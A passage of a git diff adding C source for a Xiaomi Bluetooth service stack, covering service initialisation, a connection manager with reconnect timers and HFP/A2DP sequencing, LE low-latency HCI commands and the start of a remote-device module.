BT_FOLDER_PATH " folder create: %d\n", ret); + return ret; +} + +void bt_service_event_dispatch(void* smsg) +{ + free(smsg); +} + +void bt_service_state_machine_event_dispatch(void* smsg) +{ + state_maechine_msg_t* stm_msg = smsg; + + hsm_dispatch_event(stm_msg->sm, stm_msg->event_id, stm_msg->data); + free(smsg); +} + +void send_to_profile_service(uint16_t profile_id, uint16_t event_id, void* data) +{ + service_msg_t* svc_msg = malloc(sizeof(service_msg_t)); + if (!svc_msg) { + BT_LOGE("error, svc_msg malloc failed"); + return; + } + + svc_msg->profile_id = profile_id; + svc_msg->event_id = event_id; + svc_msg->data = data; + do_in_service_loop(bt_service_event_dispatch, svc_msg); +} + +void send_to_state_machine(state_machine_t* sm, uint16_t event_id, void* data) +{ + state_maechine_msg_t* stm_msg = malloc(sizeof(state_maechine_msg_t)); + if (!stm_msg) { + BT_LOGE("error, stm_msg malloc failed"); + return; + } + + stm_msg->sm = sm; + stm_msg->event_id = event_id; + stm_msg->data = data; + do_in_service_loop(bt_service_state_machine_event_dispatch, stm_msg); +} + +int bt_service_init(void) +{ + if (create_bt_folder() != 0) + return -1; + +#ifdef CONFIG_BLUETOOTH_LOG + bt_log_server_init(); +#endif + bt_storage_init(); + bt_profile_init(); + adapter_init(); + manager_init(); + + if (stack_manager_init() != BT_STATUS_SUCCESS) + return -1; + + BT_LOGD("%s done", __func__); + return 0; +} + +int bt_service_cleanup(void) +{ + stack_manager_cleanup(); + manager_cleanup(); + adapter_cleanup(); + bt_storage_cleanup(); + +#ifdef CONFIG_BLUETOOTH_LOG + bt_log_server_cleanup(); +#endif + + BT_LOGD("%s done", __func__); + return 0; +} diff --git a/service/src/btservice.h b/service/src/btservice.h new file mode 100644 index 0000000000000000000000000000000000000000..b934bf69f642b2cbc5994ef5d6712f10b8b99c1c --- /dev/null +++ b/service/src/btservice.h @@ -0,0 +1,24 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef _BT_SERVICE_H__ +#define _BT_SERVICE_H__ + +#include "state_machine.h" + +int bt_service_init(void); +int bt_service_cleanup(void); +void send_to_state_machine(state_machine_t* sm, uint16_t event_id, void* data); +#endif /* _BT_SERVICE_H__ */ \ No newline at end of file diff --git a/service/src/connection_manager.c b/service/src/connection_manager.c new file mode 100644 index 0000000000000000000000000000000000000000..d33c4fce3bc86a4642428291ffd7745bc537e6a7 --- /dev/null +++ b/service/src/connection_manager.c @@ -0,0 +1,520 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "connection_manager" + +#include "connection_manager.h" +#include "adapter_internel.h" +#include "bluetooth.h" +#include "hci_error.h" +#include "service_loop.h" +#include "service_manager.h" + +#ifdef CONFIG_BLUETOOTH_HFP_HF +#include "hfp_hf_service.h" +#endif +#ifdef CONFIG_BLUETOOTH_A2DP_SINK +#include "a2dp_sink_service.h" +#endif + +#ifdef CONFIG_LE_DLF_SUPPORT +#include "connection_manager_dlf.h" +#endif + +#include "utils/log.h" + +#define CM_RECONNECT_INTERVAL (12000) /* reconnect Interval */ +#define PROFILE_CONNECT_INTERVAL (500) /* Interval between HFP and A2DP */ +#define CM_RECONNECT_TIMES ((60 * 30) / 8) /* Continuous 30-mins reconnect */ + +#define FLAG_NONE (0) +#define FLAG_HFP_HF (1 << (PROFILE_HFP_HF)) +#define FLAG_A2DP_SINK (1 << (PROFILE_A2DP_SINK)) + +typedef struct { + service_timer_t* timer; + bt_address_t peer_addr; + bool active; + uint32_t retry_times; +} bt_cm_timer_t; + +typedef struct { + bool inited; + bool busy; + bool reconnect_enable; + bool connect_a2dp_flag; + bt_address_t connecting_addr; + uint32_t profile_flags; + bt_cm_timer_t cm_timer; + service_timer_t* a2dp_conn_timer; +} bt_connection_manager_t; + +static bt_connection_manager_t g_connection_manager; + +static bt_status_t bt_cm_profile_connect(bt_address_t* addr, uint8_t transport); + +static void bt_cm_set_flags(uint32_t flags) +{ + bt_connection_manager_t* manager = &g_connection_manager; + + manager->profile_flags |= flags; +} + +static void bt_cm_clear_flags(uint32_t flags) +{ + bt_connection_manager_t* manager = &g_connection_manager; + + manager->profile_flags &= ~flags; +} + +static void bt_cm_stop_timer(void) +{ + bt_connection_manager_t* manager = &g_connection_manager; + bt_cm_timer_t* cm_timer = &manager->cm_timer; + + if (!cm_timer->active) + return; + + cm_timer->active = false; + cm_timer->retry_times = 0; + bt_addr_set_empty(&cm_timer->peer_addr); + service_loop_cancel_timer(cm_timer->timer); + cm_timer->timer = NULL; +} + +static void bt_cm_enable_conn(void) +{ + bt_connection_manager_t* manager = &g_connection_manager; + + bt_cm_clear_flags(FLAG_HFP_HF | FLAG_A2DP_SINK); + bt_cm_stop_timer(); + manager->connect_a2dp_flag = false; + manager->busy = false; +} + +static bool bt_cm_is_busy(void) +{ + bt_connection_manager_t* manager = &g_connection_manager; + + return manager->busy; +} + +static void bt_cm_disable_conn() +{ + bt_connection_manager_t* manager = &g_connection_manager; + + manager->busy = true; + manager->profile_flags = 0; +} + +#ifdef CONFIG_BLUETOOTH_HFP_HF +static bt_status_t bt_cm_hfp_connect(bt_address_t* addr) +{ + hfp_hf_interface_t* hfp_hf_profile; + + hfp_hf_profile = (hfp_hf_interface_t*)service_manager_get_profile(PROFILE_HFP_HF); + return hfp_hf_profile->connect(addr); +} + +static bt_status_t bt_cm_hfp_disconnect(bt_address_t* addr) +{ + hfp_hf_interface_t* hfp_hf_profile; + + hfp_hf_profile = (hfp_hf_interface_t*)service_manager_get_profile(PROFILE_HFP_HF); + return hfp_hf_profile->disconnect(addr); +} +#endif + +#ifdef CONFIG_BLUETOOTH_A2DP_SINK +static bt_status_t bt_cm_a2dpsnk_connect(bt_address_t* addr) +{ + a2dp_sink_interface_t* a2dp_snk_profile; + + a2dp_snk_profile = (a2dp_sink_interface_t*)service_manager_get_profile(PROFILE_A2DP_SINK); + return a2dp_snk_profile->connect(addr); +} + +static bt_status_t bt_cm_a2dpsnk_disconnect(bt_address_t* addr) +{ + a2dp_sink_interface_t* a2dp_snk_profile; + + a2dp_snk_profile = (a2dp_sink_interface_t*)service_manager_get_profile(PROFILE_A2DP_SINK); + return a2dp_snk_profile->disconnect(addr); +} +#endif + +static void bt_cm_connect_a2dp_cb(service_timer_t* timer, void* userdata) +{ + bt_connection_manager_t* manager = (bt_connection_manager_t*)userdata; + + bt_cm_profile_connect(&manager->connecting_addr, BT_TRANSPORT_BREDR); +} + +static bt_status_t bt_cm_profile_connect(bt_address_t* addr, uint8_t transport) +{ + bt_connection_manager_t* manager = &g_connection_manager; + bt_status_t status = BT_STATUS_SUCCESS; + + if (transport == BT_TRANSPORT_BLE) { + BT_LOGD("%s To be realized", __func__); + return BT_STATUS_FAIL; + } + + if ((manager->profile_flags & FLAG_HFP_HF) && !manager->connect_a2dp_flag) { /* connect HFP_HF */ +#ifdef CONFIG_BLUETOOTH_HFP_HF + status = bt_cm_hfp_connect(addr); + + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("%s connect HFP_HF failed", __func__); + return status; + } +#endif + if ((manager->profile_flags & FLAG_A2DP_SINK) == 0) + return BT_STATUS_SUCCESS; + + /* delay 500ms to ensure HFP connection is established first*/ + manager->connect_a2dp_flag = true; + memcpy(&manager->connecting_addr, addr, sizeof(bt_address_t)); + if (manager->a2dp_conn_timer) { + service_loop_cancel_timer(manager->a2dp_conn_timer); + manager->a2dp_conn_timer = NULL; + } + + manager->a2dp_conn_timer = service_loop_timer_no_repeating(PROFILE_CONNECT_INTERVAL, bt_cm_connect_a2dp_cb, manager); + } else if (manager->profile_flags & FLAG_A2DP_SINK) { /* connect A2DP_SINK */ +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + manager->connect_a2dp_flag = false; + status = bt_cm_a2dpsnk_connect(addr); +#endif + } + + return status; +} + +static bt_status_t bt_cm_profile_disconnect(bt_address_t* addr, uint8_t transport) +{ + bt_connection_manager_t* manager = &g_connection_manager; + bt_status_t status = BT_STATUS_SUCCESS; + + if (transport == BT_TRANSPORT_BLE) { + BT_LOGD("%s To be realized", __func__); + return BT_STATUS_FAIL; + } + +#ifdef CONFIG_BLUETOOTH_HFP_HF + status = bt_cm_hfp_disconnect(addr); + + if (status != BT_STATUS_SUCCESS) + return status; +#endif + + if (manager->a2dp_conn_timer) { + manager->connect_a2dp_flag = false; + service_loop_cancel_timer(manager->a2dp_conn_timer); + bt_addr_set_empty(&manager->connecting_addr); + manager->a2dp_conn_timer = NULL; + } +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + status = bt_cm_a2dpsnk_disconnect(addr); +#endif + + return status; +} + +void bt_cm_init(void) +{ + bt_connection_manager_t* manager = &g_connection_manager; + + if (manager->inited) + return; + + bt_cm_enable_conn(); + bt_cm_set_flags(FLAG_NONE); + manager->reconnect_enable = false; + manager->inited = true; +} + +void bt_cm_cleanup(void) +{ + bt_connection_manager_t* manager = &g_connection_manager; + + if (!manager->inited) + return; + +#ifdef CONFIG_LE_DLF_SUPPORT + bt_cm_dlf_cleanup(); +#endif + + manager->inited = false; +} + +static bool bt_cm_allocator(void** data, uint32_t size) +{ + *data = malloc(size); + if (!(*data)) + return false; + + return true; +} + +static void bt_cm_profile_falgs_set(void) +{ +#if 0 + bt_uuid_t* uuids = NULL; + uint16_t uuid_cnt = 0; + bt_uuid_t uuid16_hfp_ag; + bt_uuid_t uuid16_a2dp; + + bt_uuid16_create(&uuid16_hfp_ag, 0x111F); /* HFP AG UUID */ + bt_uuid16_create(&uuid16_a2dp, 0x110A); /* A2DP UUID */ + adapter_get_remote_uuids(addr, &uuids, &uuid_cnt, bt_cm_allocator); + if (uuid_cnt) { + for (int i = 0; i < uuid_cnt; i++) { + if (!bt_uuid_compare(&uuids[i], &uuid16_hfp_ag)) { +#ifdef CONFIG_BLUETOOTH_HFP_HF + bt_cm_set_flags(FLAG_HFP_HF); +#endif + } else if (!bt_uuid_compare(&uuids[i], &uuid16_a2dp)) { +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + bt_cm_set_flags(FLAG_A2DP_SINK); +#endif + } + } + } + + free(uuids); + uuids = NULL; +#endif +#ifdef CONFIG_BLUETOOTH_HFP_HF + bt_cm_set_flags(FLAG_HFP_HF); +#endif +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + bt_cm_set_flags(FLAG_A2DP_SINK); +#endif +} + +bt_status_t bt_cm_device_connect(bt_address_t* peer_addr, uint8_t transport) +{ + bt_connection_manager_t* manager = &g_connection_manager; + bt_address_t* addrs = NULL; + bt_address_t addr; + int num = 0; + + if (transport == BT_TRANSPORT_BLE) { + BT_LOGD("%s To be realized", __func__); + return BT_STATUS_FAIL; + } + + if (!manager->reconnect_enable) + manager->reconnect_enable = true; + + if (bt_cm_is_busy()) { + BT_LOGE("%s processing reconnecting", __func__); + return BT_STATUS_BUSY; + } + + if (bt_addr_is_empty(peer_addr)) { + adapter_get_bonded_devices(transport, &addrs, &num, bt_cm_allocator); + if (!num) { + BT_LOGE("%s no device to connect", __func__); + return BT_STATUS_FAIL; + } + + memcpy(&addr, &addrs[num - 1], sizeof(bt_address_t)); /* connect last device in bonded list */ + free(addrs); + BT_LOGD("%s connect to last device", __func__); + } else { + memcpy(&addr, peer_addr, sizeof(bt_address_t)); + } + + bt_cm_profile_falgs_set(); + return bt_cm_profile_connect(&addr, transport); +} + +bt_status_t bt_cm_device_disconnect(bt_address_t* addr, uint8_t transport) +{ + bt_connection_manager_t* manager = &g_connection_manager; + bt_cm_timer_t* cm_timer = &manager->cm_timer; + + if (transport == BT_TRANSPORT_BLE) { + BT_LOGD("%s To be realized", __func__); + return BT_STATUS_FAIL; + } + + if (!bt_addr_compare(&cm_timer->peer_addr, addr)) { + bt_cm_enable_conn(); + } + + return bt_cm_profile_disconnect(addr, BT_TRANSPORT_BREDR); +} + +void bt_cm_connected(bt_address_t* addr, uint8_t profile_id) +{ + bt_connection_manager_t* manager = &g_connection_manager; + bt_cm_timer_t* cm_timer = &manager->cm_timer; + + if (bt_addr_compare(&cm_timer->peer_addr, addr)) { + return; + } + + BT_LOGD("%s connect success, profile_id: %d", __func__, profile_id); + switch (profile_id) { + case PROFILE_HFP_HF: { + bt_cm_clear_flags(FLAG_HFP_HF); + break; + } + case PROFILE_A2DP_SINK: { + bt_cm_clear_flags(FLAG_A2DP_SINK); + service_loop_cancel_timer(manager->a2dp_conn_timer); + bt_addr_set_empty(&manager->connecting_addr); + manager->a2dp_conn_timer = NULL; + break; + } + default: + break; + } + + if ((manager->profile_flags & (FLAG_HFP_HF | FLAG_A2DP_SINK)) == 0) { + BT_LOGD("%s no profile to connect", __func__); + bt_cm_enable_conn(); + } +} + +void bt_cm_disconnected(bt_address_t* addr, uint8_t profile_id) +{ + bt_connection_manager_t* manager = &g_connection_manager; + bt_cm_timer_t* cm_timer = &manager->cm_timer; + + if (bt_addr_compare(&cm_timer->peer_addr, addr)) { + return; + } + + BT_LOGD("%s connect failed, profile_id: %d", __func__, profile_id); + switch (profile_id) { + case PROFILE_A2DP_SINK: { + service_loop_cancel_timer(manager->a2dp_conn_timer); + bt_addr_set_empty(&manager->connecting_addr); + manager->a2dp_conn_timer = NULL; + break; + } + default: + break; + } +} + +static void bt_cm_timeout_cb(service_timer_t* timer, void* userdata) +{ + bt_cm_timer_t* cm_timer = (bt_cm_timer_t*)userdata; + + if (!cm_timer->active) { + BT_LOGE("%s timer is not actice", __func__); + return; + } + + cm_timer->retry_times++; + if (cm_timer->retry_times > CM_RECONNECT_TIMES) { + bt_cm_enable_conn(); + } + + BT_LOGD("%s reconnect start, retry_times = %" PRIu32, __func__, cm_timer->retry_times); + bt_cm_profile_connect(&cm_timer->peer_addr, BT_TRANSPORT_BREDR); +} + +static bool bt_cm_start_timer(bt_address_t* peer_addr) +{ + bt_connection_manager_t* manager = &g_connection_manager; + bt_cm_timer_t* cm_timer = &manager->cm_timer; + + if (cm_timer->active) { + BT_LOGW("%s timer is active", __func__); + return false; + } + + BT_LOGD("%s CM connect start", __func__); + cm_timer->active = true; + memcpy(&cm_timer->peer_addr, peer_addr, sizeof(bt_address_t)); + if (cm_timer->timer) { + service_loop_cancel_timer(cm_timer->timer); + } + + cm_timer->timer = service_loop_timer(CM_RECONNECT_INTERVAL, CM_RECONNECT_INTERVAL, bt_cm_timeout_cb, cm_timer); + + return true; +} + +static void bt_cm_process_reconnection(bt_address_t* addr, uint32_t hci_reason_code) +{ + bt_connection_manager_t* manager = &g_connection_manager; + bt_cm_timer_t* cm_timer = &manager->cm_timer; + + if (hci_reason_code == HCI_ERR_CONNECTION_TERMINATED_BY_LOCAL_HOST + || hci_reason_code == HCI_ERR_REMOTE_USER_TERMINATED_CONNECTION) { + if (!bt_addr_compare(&cm_timer->peer_addr, addr)) { + bt_cm_enable_conn(); + } + + return; + } + + if (bt_cm_is_busy() || (hci_reason_code != HCI_ERR_CONNECTION_TIMEOUT)) + return; + + BT_LOGD("%s reconnect start", __func__); + bt_cm_disable_conn(); + bt_cm_profile_falgs_set(); + if (bt_cm_start_timer(addr)) + bt_cm_profile_connect(addr, BT_TRANSPORT_BREDR); +} + +void bt_cm_process_disconnect_event(bt_address_t* addr, uint8_t transport, uint32_t hci_reason_code) +{ + bt_connection_manager_t* manager = &g_connection_manager; + + if (transport == BT_TRANSPORT_BLE) { +#ifdef CONFIG_LE_DLF_SUPPORT + bt_cm_disable_dlf(addr); +#endif + return; + } + + if (manager->reconnect_enable) + bt_cm_process_reconnection(addr, hci_reason_code); +} + +bt_status_t bt_cm_enable_enhanced_mode(bt_address_t* addr, uint8_t mode) +{ + switch (mode) { + case EM_LE_LOW_LATENCY: { +#ifdef CONFIG_LE_DLF_SUPPORT + return bt_cm_enable_dlf(addr); +#endif + } + default: + return BT_STATUS_NOT_SUPPORTED; + } +} + +bt_status_t bt_cm_disable_enhanced_mode(bt_address_t* addr, uint8_t mode) +{ + switch (mode) { + case EM_LE_LOW_LATENCY: { +#ifdef CONFIG_LE_DLF_SUPPORT + return bt_cm_disable_dlf(addr); +#endif + } + default: + return BT_STATUS_NOT_SUPPORTED; + } +} \ No newline at end of file diff --git a/service/src/connection_manager.h b/service/src/connection_manager.h new file mode 100644 index 0000000000000000000000000000000000000000..d1cbe55ec7c3f6f2570c7ff7be799c31751bdb58 --- /dev/null +++ b/service/src/connection_manager.h @@ -0,0 +1,35 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_CONNECTION_MANAGER_H__ +#define __BT_CONNECTION_MANAGER_H__ + +#include "bt_addr.h" +#include "bt_status.h" + +void bt_cm_init(void); +void bt_cm_cleanup(void); + +bt_status_t bt_cm_enable_enhanced_mode(bt_address_t* peer_addr, uint8_t mode); +bt_status_t bt_cm_disable_enhanced_mode(bt_address_t* peer_addr, uint8_t mode); + +void bt_cm_process_disconnect_event(bt_address_t* addr, uint8_t transport, uint32_t hci_reason_code); +void bt_cm_disconnected(bt_address_t* addr, uint8_t profile_id); +void bt_cm_connected(bt_address_t* addr, uint8_t profile_id); +bt_status_t bt_cm_device_connect(bt_address_t* addr, uint8_t transport); +bt_status_t bt_cm_device_disconnect(bt_address_t* addr, uint8_t transport); + +#endif /*__BT_CONNECTION_MANAGER_H__*/ \ No newline at end of file diff --git a/service/src/connection_manager_dlf.c b/service/src/connection_manager_dlf.c new file mode 100644 index 0000000000000000000000000000000000000000..299e0c9f365d49dd046a69073e55a8e3bbc13a95 --- /dev/null +++ b/service/src/connection_manager_dlf.c @@ -0,0 +1,194 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "cm_dlf" + +#include "connection_manager_dlf.h" +#include "bt_debug.h" +#include "bt_utils.h" +#include "hci_parser.h" +#include "sal_adapter_interface.h" +#include "service_loop.h" +#include "vendor/bt_vendor.h" +#include "vendor/bt_vendor_common.h" + +// TBD +// Finding an appropriate timer duration for DLF, even dynamically setting it. +// Current Connection Parameters Setting: Interaval 60ms & Latency 4 and Interval 15ms & Latency 3 +#define BT_LE_DLF_TIMEOUT_SLOTS 1600 // 1600 * 0.625 ms = 1000 ms + +#define MAX_DLF_LINK_NUM CONFIG_BLUETOOTH_GATTS_MAX_CONNECTIONS // Must be less than or equal to 16 + +typedef struct +{ + bool is_enabled; + bt_address_t peer_addr; + hci_error_t status; +} cm_dlf_operation_t; + +typedef struct +{ + bt_address_t peer_addr; + uint16_t connection_handle; + uint16_t timeout_slots; +} cm_dlf_link_t; + +typedef struct { + uint8_t dlf_link_num; + cm_dlf_link_t dlf_links[MAX_DLF_LINK_NUM]; +} cm_dlf_t; + +static cm_dlf_t g_cm_dlf; + +static cm_dlf_link_t* bt_cm_find_dlf_link(const bt_address_t* peer_addr) +{ + cm_dlf_t* manager = &g_cm_dlf; + cm_dlf_link_t* dlf_link; + uint8_t i; + + for (i = 0; i < MAX_DLF_LINK_NUM; i++) { + dlf_link = &manager->dlf_links[i]; + + if (!bt_addr_compare(&dlf_link->peer_addr, peer_addr)) + return dlf_link; + } + + return NULL; +} + +static void bt_cm_remove_dlf_link(cm_dlf_link_t* dlf_link) +{ + cm_dlf_t* manager = &g_cm_dlf; + + manager->dlf_link_num--; + memset(dlf_link, 0, sizeof(cm_dlf_link_t)); +} + +static void bt_cm_process_dlf_result(void* context) +{ + cm_dlf_link_t* dlf_link; + cm_dlf_operation_t* dlf_operation = (cm_dlf_operation_t*)context; + + BT_LOGI("DLF operation type: %d, command status: 0x%x", dlf_operation->is_enabled, dlf_operation->status); + + if (dlf_operation->is_enabled && (dlf_operation->status == HCI_SUCCESS)) { + free(dlf_operation); + return; + } + + dlf_link = bt_cm_find_dlf_link(&dlf_operation->peer_addr); + if (dlf_link) + bt_cm_remove_dlf_link(dlf_link); + + free(dlf_operation); +} + +static void bt_hci_event_callback(bt_hci_event_t* hci_event, void* context) +{ + cm_dlf_operation_t* dlf_operation = (cm_dlf_operation_t*)context; + + dlf_operation->status = hci_get_result(hci_event); + do_in_service_loop(bt_cm_process_dlf_result, dlf_operation); +} + +static bool bt_cm_build_dlf_command(le_dlf_config_t* dlf_config, uint8_t* data, size_t* size, bool is_enabled) +{ + if (is_enabled) + return le_dlf_enable_builder(dlf_config, data, size); + + return le_dlf_disable_builder(dlf_config, data, size); +} + +static bt_status_t bt_cm_send_dlf_command(cm_dlf_link_t* dlf_link, bool is_enabled) +{ + uint8_t ogf; + uint16_t ocf; + uint8_t len; + uint8_t* payload; + uint8_t temp_data[CONFIG_DLF_COMMAND_MAX_LEN]; + size_t size; + le_dlf_config_t dlf_config; + cm_dlf_operation_t* dlf_operation; + + dlf_operation = (cm_dlf_operation_t*)malloc(sizeof(cm_dlf_operation_t)); + if (!dlf_operation) { + BT_LOGE("malloc failed"); + return BT_STATUS_FAIL; + } + + dlf_operation->is_enabled = is_enabled; + dlf_operation->peer_addr = dlf_link->peer_addr; + dlf_config.connection_handle = dlf_link->connection_handle; + dlf_config.dlf_timeout = dlf_link->timeout_slots; + + if (!bt_cm_build_dlf_command(&dlf_config, temp_data, &size, is_enabled)) { + BT_LOGD("build dlf command %d failed", is_enabled); + free(dlf_operation); + return BT_STATUS_NOT_SUPPORTED; + } + + payload = temp_data; + len = size - sizeof(ogf) - sizeof(ocf); + STREAM_TO_UINT8(ogf, payload); + STREAM_TO_UINT16(ocf, payload); + return bt_sal_send_hci_command(PRIMARY_ADAPTER, ogf, ocf, len, payload, bt_hci_event_callback, dlf_operation); +} + +void bt_cm_dlf_cleanup(void) +{ + memset(&g_cm_dlf, 0, sizeof(g_cm_dlf)); +} + +bt_status_t bt_cm_enable_dlf(bt_address_t* peer_addr) +{ + cm_dlf_t* manager = &g_cm_dlf; + uint16_t connection_handle; + cm_dlf_link_t* dlf_link; + bt_address_t empty_addr = { 0 }; + + if (manager->dlf_link_num >= MAX_DLF_LINK_NUM) + return BT_STATUS_NO_RESOURCES; + + dlf_link = bt_cm_find_dlf_link(peer_addr); + if (dlf_link) + return BT_STATUS_FAIL; + + dlf_link = bt_cm_find_dlf_link(&empty_addr); + if (!dlf_link) { + BT_LOGE("resource not found"); + return BT_STATUS_FAIL; + } + + connection_handle = bt_sal_get_acl_connection_handle(PRIMARY_ADAPTER, peer_addr, BT_TRANSPORT_BLE); + if (connection_handle == BT_INVALID_CONNECTION_HANDLE) + return BT_STATUS_PARM_INVALID; + + manager->dlf_link_num++; + dlf_link->peer_addr = *peer_addr; + dlf_link->connection_handle = connection_handle; + dlf_link->timeout_slots = BT_LE_DLF_TIMEOUT_SLOTS; + return bt_cm_send_dlf_command(dlf_link, true); +} + +bt_status_t bt_cm_disable_dlf(bt_address_t* peer_addr) +{ + cm_dlf_link_t* dlf_link; + + dlf_link = bt_cm_find_dlf_link(peer_addr); + if (!dlf_link) + return BT_STATUS_SERVICE_NOT_FOUND; + + return bt_cm_send_dlf_command(dlf_link, false); +} diff --git a/service/src/connection_manager_dlf.h b/service/src/connection_manager_dlf.h new file mode 100644 index 0000000000000000000000000000000000000000..d91d030e0b102c579672e8ea6098ee24a90b0a5c --- /dev/null +++ b/service/src/connection_manager_dlf.h @@ -0,0 +1,28 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __CONNECTION_MANAGER_DLF_H__ +#define __CONNECTION_MANAGER_DLF_H__ + +#include "bt_addr.h" +#include "bt_status.h" + +void bt_cm_dlf_cleanup(void); + +bt_status_t bt_cm_enable_dlf(bt_address_t* peer_addr); +bt_status_t bt_cm_disable_dlf(bt_address_t* peer_addr); + +#endif /*__CONNECTION_MANAGER_DLF_H__*/ diff --git a/service/src/device.c b/service/src/device.c new file mode 100644 index 0000000000000000000000000000000000000000..beee03da052469133dfc4996abf2eab5d33d4212 --- /dev/null +++ b/service/src/device.c @@ -0,0 +1,644 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "device" + +#include <stdbool.h> +#include <stdint.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +#include "adapter_internel.h" +#include "bluetooth.h" +#include "bluetooth_define.h" +#include "bt_addr.h" +#include "bt_config.h" +#include "bt_device.h" +#include "bt_list.h" +#include "bt_utils.h" +#include "bt_uuid.h" +#include "device.h" +#include "service_loop.h" +#include "utils/log.h" + +#define BASE_UUID16_OFFSET 12 + +typedef struct remote_device { + char name[BT_REM_NAME_MAX_LEN + 1]; + char alias[BT_REM_NAME_MAX_LEN + 1]; + bt_address_t addr; + ble_addr_type_t addr_type; + bt_link_role_t local_role; + uint32_t device_class; + bt_transport_t transport; + bt_device_type_t device_type; + uint32_t acl_handle; + uint32_t sco_handle; + int8_t rssi; + struct { + bt_uuid_t* uuids; + uint16_t uuid_cnt; + } uuids; + uint8_t battery_level; + uint8_t hfp_volume; + uint8_t media_volume; + connection_state_t connection_state; + bond_state_t bond_state; + bool local_initiate_bond; + bt_128key_t link_key; + bt_link_key_type_t link_key_type; + bt_link_policy_t link_policy; + bt_address_t identity_addr; + uint16_t appearance; + uint8_t smp_data[80]; + uint8_t local_csrk[16]; + ble_phy_type_t tx_phy; + ble_phy_type_t rx_phy; + // uint8_t scan_repetition_mode; + // uint16_t clock_offset; +} remote_device_t; + +typedef struct bt_device { + remote_device_t remote; + bool is_temporary; + uint32_t flags; + uint8_t create_type; +} bt_device_t; + +static bt_device_t* device_create(bt_address_t* addr, bt_transport_t transport, ble_addr_type_t addr_type) +{ + bt_device_t* device = zalloc(sizeof(bt_device_t)); + + if (!device) + return NULL; + + memset(device, 0, sizeof(bt_device_t)); + + strcpy((char*)device->remote.name, ""); + strcpy((char*)device->remote.alias, ""); + memcpy(&device->remote.addr, addr, sizeof(bt_address_t)); + bt_addr_set_empty(&device->remote.identity_addr); + device->remote.transport = transport; + device->remote.addr_type = addr_type; + device->remote.connection_state = CONNECTION_STATE_DISCONNECTED; + device->remote.local_role = BT_LINK_ROLE_UNKNOWN; + device->remote.bond_state = BOND_STATE_NONE; + device->remote.uuids.uuids = NULL; + device->remote.uuids.uuid_cnt = 0; + device->remote.link_policy = BT_BR_LINK_POLICY_ENABLE_ROLE_SWITCH_AND_SNIFF; + device->is_temporary = true; + + return device; +} + +bt_device_t* br_device_create(bt_address_t* addr) +{ + return device_create(addr, BT_TRANSPORT_BREDR, BT_LE_ADDR_TYPE_UNKNOWN); +} + +bt_device_t* le_device_create(bt_address_t* addr, ble_addr_type_t addr_type) +{ + return device_create(addr, BT_TRANSPORT_BLE, addr_type); +} + +void device_delete(bt_device_t* device) +{ + if (device->remote.uuids.uuids) + free(device->remote.uuids.uuids); + free(device); +} + +bt_transport_t device_get_transport(bt_device_t* device) +{ + return device->remote.transport; +} + +bt_address_t* device_get_address(bt_device_t* device) +{ + return &device->remote.addr; +} + +bt_address_t* device_get_identity_address(bt_device_t* device) +{ + return &device->remote.identity_addr; +} + +void device_set_identity_address(bt_device_t* device, bt_address_t* addr) +{ + if (addr) { + memcpy(&device->remote.identity_addr, addr, sizeof(bt_address_t)); + } else { + bt_addr_set_empty(&device->remote.identity_addr); + } +} + +uint8_t* device_get_local_csrk(bt_device_t* device) +{ + return device->remote.local_csrk; +} + +void device_set_local_csrk(bt_device_t* device, const uint8_t* local_csrk) +{ + memcpy(device->remote.local_csrk, 